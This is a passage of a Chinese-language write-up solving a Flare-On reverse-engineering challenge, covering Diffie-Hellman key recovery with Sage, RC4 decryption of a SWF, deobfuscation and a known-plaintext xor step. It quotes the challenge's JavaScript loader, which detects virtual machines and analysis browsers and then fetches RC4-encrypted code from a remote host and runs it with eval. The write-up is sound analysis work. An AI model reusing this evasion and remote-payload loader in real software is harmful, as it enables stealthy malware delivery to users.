if (!a)
{
try {
var c = process;
if (typeof c === 'object.' && c + '' === '[object process]')
{
a = true;
}
} catch(y) {};
}
return a;
};
function check_phantom() {
var a = false;
try {
var d = window;
var e = d.outerWidth;
var f = d.outerHeight;
if (e === 0 && f === 0)
{
a = true;
}
} catch (x) {a = true};
if (!a)
{
try {
var g = window;
a = !!g['callPhantom']
} catch (w) {};
}
return a;
};
this.Mi = false;// echo_rm_msg();
this.pA = false;// check_process();
this.is_phantom = false;//check_phantom();
}
EnvChecker2 = function() {
function Il1Il1Il1d(a,b) {
if (a<0.00000001) {
return b;
}
if (a<b) {
return Il1Il1Il1d(b-Math.floor(b/a)*a,a);
}
else if (a==b) {
return a;
}
else
{
return Il1Il1Il1d(b,a);
}
};
function checkfile(b) {
var a = new ActiveXObject('Microsoft.XMLDOM');
a.async = true;
a.loadXML('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "res://' + b + '">');
if (a.parseError.errorCode == -2147023083)
return 1;
return 0;
};
function Il1Il1Il1f() {
try {
var a = performance.now() / 1000;
} catch (e) { return 0;}
var b = performance.now() / 1000 - a;
for (var i=0;i<10;i++) {
b=Il1Il1Il1d(b, performance.now()/1000 - a);
}
var c = Math.round(1/b);
if (Math.abs(c-10000000) < 100) {
return 1;
}
else if (Math.abs(c-3579545) < 100) {
return 1;
}
else if (Math.abs(c-14318180) < 100) {
return 1;
}
try {
var d = screen;
if ((d.width < (1280)) || (d.height < (1280))) return 1;
} catch(x) {return 1;}
return 0;
};
return 0; // patch
if(Il1Il1Il1f() >= 1) return 1;
if(Il1Il1Il1f() >= 1) return 1;
if(checkfile('c:\windows\System32\drivers\vmhgfs.sys') == 1) return 1;
if(checkfile('c:\Windows\System32\drivers\VBoxMouse.sys') == 1) return 2;
if(checkfile('c:\Windows\System32\drivers\vmusbmouse.sys') == 1) return 1;
if(checkfile('c:\Windows\System32\drivers\VBoxVideo.sys') == 1) return 2;
if(checkfile('c:\Windows\System32\drivers\vmmouse.sys') == 1) return 1;
if(checkfile('c:\Windows\System32\drivers\VBoxSF.sys') == 1) return 2;
if(checkfile('c:\Windows\System32\drivers\vm3dmp.sys') == 1) return 1;
if(checkfile('c:\Windows\System32\drivers\VBoxGuest.sys') == 1) return 2;
return 0;
}
```
另一部分則是透過 `XMLHttpRequest` Post 資料到 remote,並使用回傳的 key 解出另一段 `javascript` 執行
```javascript
function keyPair()
{
var BigInt = Il1Illl1I1l.BigInteger;
this.g = new BigInt(randhex(), 16);
this.a = new BigInt(randhex(), 16);
this.p = new BigInt(randhex2(), 16);
this.A = this.g.modPow(this.a, this.p);
}
js3 = function() {
var kp = new keyPair();
var x = new HTTPHeader(), v = new EnvChecker(), u = EnvChecker2();
try {
var d = {
g: kp.g.toString(16),
A: kp.A.toString(16),
p: kp.p.toString(16),
};
var e = new XMLHttpRequest;
e.open('POST', 'http://10.14.56.20:18089/i_knew_you_were_trouble', true);
e.setRequestHeader(x.Yw,x.dc); // Content-type: application/json; charset=utf-8
e.setRequestHeader(x.KJ,d.length); // Content-length
e.onreadystatechange = function() {
if (e.readyState === 4 && e.status === 200 )
{
var d = JSON.parse(RC4('how_can_you_not_like_flareon', b64decode(unescape(e.responseText))));
var BigInt = Il1Illl1I1l.BigInteger;
var B = new BigInt(d.B, 16);
var key = B.modPow(kp.a, kp.p);
var j = RC4(key.toString(16), d.fffff);
log(j)
if (u < 1) { ;
eval(j);
}
}
};
if (!v.Mi && !v.pA && !v.is_phantom){
e.send(d);
}
} catch(f) {};
}
js3();
```
### Key Exchange
配合 `pcap` 中的 request 及 response 資料分析,
可以發現是在做 `128bit` 的 Diffie-Hellman Key Exchange 與 remote server 交換 key
- Client: `A = g ** a % p`
- Server: `B = g ** b % p`
- 而 Key = `B ** a % p`
`A, B, g, p` 可以從封包取得:
```
A: 0x16f2c65920ebeae43aabb5c9af923953
B: 0x3101c01f6b522602ae415d5df764587b
g: 0x91a812d65f3fea132099f2825312edbb
p: 0x3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e
```
能反推出 a 或 b 就可以算出 key
這個地方讓身為 Crypto 麻瓜的我卡了非常久...
一開始是猜 `b` 的值或許很小,不過嘗試跑了 `0~0xFFFFFFFF 都沒有結果`
後來嘗試 `Polling-Hellman`,但 p 的分解結果看起來不是太理想,嘗試用 `python` 實作 `Polling-Hellman` 跑了好一陣子都沒結果
最後是 `Lucas` 拿了一台強大的機器用 `Sage` 的 `discrete_log` 硬跑出 `a = 46363574342518235210803009231514833`
照 `Sage` [官方文件](http://doc.sagemath.org/html/en/reference/groups/sage/groups/generic.html) 來看內部用的演算法是 `Pohlig-Hellman and Baby step giant step`
算出 RC4 Key,解出下一層 javascript:
```javascript
var B = new BigInt('3101c01f6b522602ae415d5df764587b', 16);
var a = new BigInt('8ede69460cac52c9b467d795fecd1', 16);
var p = new BigInt('3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e', 16);
var key = B.modPow(a, p);
var code = RC4(key.toString(16), d.fffff);
console.log(code)
```
終於得到 SWF 要求的 Key: `HEAPISMYHOME`
![](https://i.imgur.com/lNbwqMx.png)
![](https://i.imgur.com/C2CnrAd.png)
### SWF
有了 RC4 Key 就可以從 SWF 中 Decrypt 出另一個 SWF,
解密方式是 `RC4(PLAIN=明文 16 位後, KEY=key+明文前 16 位)`:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import hashlib
md5 = lambda x:hashlib.md5(x).hexdigest()
def KSA(key):
S = range(256)
j = 0
for i in xrange(256):
j = (j+ S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i , j = (0, 0)
while True:
i= (i+ 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(plain, key):
S = KSA(key)
keystream = PRGA(S)
plain = bytearray(plain)
cipher = bytearray((p ^ k for p, k in zip(plain, keystream)))
return str(cipher)
plain = open("./15_SwfLoader.Run_challenge1.bin").read()
c = RC4(plain[16:], md5("HEAPISMYHOME"+plain[:16]))
open("dump.swf", 'wb').write(c)
```
### SecureSWF
打開 SWF 一看發現被 `SecureSWF` 混淆過:
![](https://i.imgur.com/SEZlDMw.png)
這裡不得不提一下 [JPEXS Flash Decompiler](https://www.free-decompiler.com/flash/download/) 的 `Deobfuscation` 功能非常強大,能將屎一般的混淆代碼還原到人類可以閱讀的程度:
`Before`
![](https://i.imgur.com/vgTLW5n.png)
`After`
![](https://i.imgur.com/GKFre6F.png)
接著開始分析 `bytecode`
> 有個小技巧是可以用 JPEXS 在代碼中插入 `console.log` ,並在瀏覽器中執行來幫助 debug:
```clike
public function log(param1:String) : *
{
ExternalInterface.call("console.log", param1);
}
```
分析後發現:
- 會從 `this.root.loaderInfo.parameters` 讀取 `loader` 參數中的 `flare`, `x`, `y`
- `flare` 必須等於 `On`
- 接下來會將 `SWF` 內的 50 組 `Binary Data` 串接起來,並將 `x` 當做 RC4 Key 做解密
- `y` 的格式會是類似 `key-value` 的形式,解密出來的資料會透過 `y` 來轉換成一個 `SWF` 檔案
- 最後生成的 `SWF` 會被放到一個儲存 `2048` 個空白 `SWF` 的陣列中,應該是為了防止被直接從 memory 中 dump 出 `SWF`,可以直接 patch 掉 `bytecode`
由於無法得知載入時的 `x` 及 `y`,只能再繼續尋找其他線索
### Known Plain-Text Attack
仔細觀察 `SWF` 內的 `Binary Data`,會發現其中有一個檔案的名稱相當微妙:
![](https://i.imgur.com/81zYQhu.png)
來到 https://imgur.com/vnUziJP 得到一張圖片,但看不出有什麼提示:
![](https://i.imgur.com/vnUziJP.png)
繼續觀察 `Binary Data` 的話會發現 `Int3lIns1de_t3stImgurvnUziJP` 這組資料的大小與圖片大小相同,猜測是圖片經過 xor 後的結果
將圖片抓下來與 `Int3lIns1de_t3stImgurvnUziJP` 進行 xor,再與另一組程式中沒有用到的 `Binary Data` 做 xor,就可以得到 `x` 與 `y`:
![](https://i.imgur.com/eL8aOYP.png)
透過 html 指定 load parameter 並載入 `SWF`:
```htmlmixed
<object type="application/x-shockwave-flash" data="dump.swf"> <param name="movie" value="dump.swf" />
<param name=FlashVars value="flare=On&x=1BR0K3NCRYPT0FTW&y= 47:14546,46:1617,35:239,4:47,35..." />
</object>
```
透過 `console.log` dump 出 `SWF`:
### Final Stage
最後的 `SWF` 不曉得為什麼用 `JPEXS` 無法 decompile,
改用 `AS3 Sorcerer` ,看起來異常單純:
![](https://i.imgur.com/fF3SpC8.png)
複製到 vim 簡單的轉換成 python 格式:
```python
out = ""
_local_1 = 1
if not _local_1:
out+=chr(120)
if not _local_1:
out+=chr(30)
if not _local_1:
out+=chr(115)
if not _local_1:
out+=chr(52)
_local_1 = 0
if _local_1:
out+=chr(47)
if _local_1:
out+=chr(37)
if _local_1:
out+=chr(76)
if _local_1:
out+=chr(53)
_local_1 = 1
if not _local_1:
out+=chr(93)
if not _local_1:
out+=chr(96)
_local_1 = 0
if _local_1:
out+=chr(34)
if _local_1:
out+=chr(67)
_local_1 = 1
if not _local_1:
out+=chr(92)
_local_1 = 0
if _local_1:
out+=chr(119)
if _local_1:
out+=chr(97)
if _local_1:
out+=chr(90)
if _local_1:
out+=chr(45)
_local_1 = 1
if not _local_1:
out+=chr(55)
if not _local_1:
out+=chr(51)
...
if not _local_1:
out+=chr(35)
_local_1 = 1
if not _local_1:
out+=chr(37)
print out
```
得到最後一組 Flag: `angl3rcan7ev3nprim3@flare-on.com`
---